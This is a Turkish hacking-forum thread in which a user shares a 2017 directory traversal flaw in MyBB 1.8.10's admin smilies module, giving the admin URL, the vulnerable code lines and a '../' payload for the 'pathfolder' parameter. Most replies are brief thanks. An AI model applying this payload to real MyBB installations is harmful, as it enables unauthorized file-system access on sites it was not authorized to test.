MyBB Dizin Geçiş Açığı 2017 (1 Viewer)

[ProSkyTR]

İş görür diye paylaşıyorum. 2017 dir eski değildir
Açığın Adresi:

/mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple

Açığın Dosya Dizini:

/webroot/mybb_1810/Upload/admin/modules/config/smilies.php

Açığın Kodu:

Line 326 $path = $mybb->input['pathfolder'];

Line 327 $dir = @opendir(MYBB_ROOT.$path);
Eğer "pathfolder"a "../../bypass/smile" eklersek, Dizin Geçişi başarılı olacaktır.

Bu açık 1.8.11 de düzeltilmiştir. Bu yüzden alt versiyonlarında bulunması daha muhtemeldir.

 

[ZEUSCOBRA]

Bakalım biraderim

 

[RedWolf]

Bakalım eyvallah

 

[MAJ3R]

bakalım dostum :=

 

[Mitnick]

Bakalım.

 

[Joggar]

bakalım kardesim

 

[Mikrex]

Bakalim

 

[KARADAY1]

2018'e girdik eski değilmi 2017

 

[suxnet]

Sağollasın

 

[NinjaCR3]

İş görür diye paylaşıyorum. 2017 dir eski değildir
Açığın Adresi:
***Hidden content cannot be quoted.***

Bakalim

 

[NinjaCR3]

Ama boyle bir sey anlamak olmuyor video felan olsaydi

 

[Cr4sh-Sw1tch]

Saol

 

[Xcannon]

Bakalim

 

[hamca]

ewy

 

[BlackDewil]

eyvallah kardeşim , eline sağlık

 

[Nimüm]

bklm.

 

[Rooter00]

Bakalim

 

[thewhitehat]

eyw

 

[ProSkyTR]

Teşekkür ederim sağolun var olun

 

[Atınoğlu]

Bakalim

 

[Fernsehserie]

Bakalım

 

[k0rpeX]

eline sağlık

 

[ak1n4]

bakalım

 

[Ahmet Demir]

bakalım kardeşim

 

[by_mithat]

Bakalım eyvallah

 

[AKI-BEY]

Lazim

 

[Kare]

bakalım

 

[Ghost Kinght]

Helal

 

[feek]

deniyelim

 

[OurMine]

thx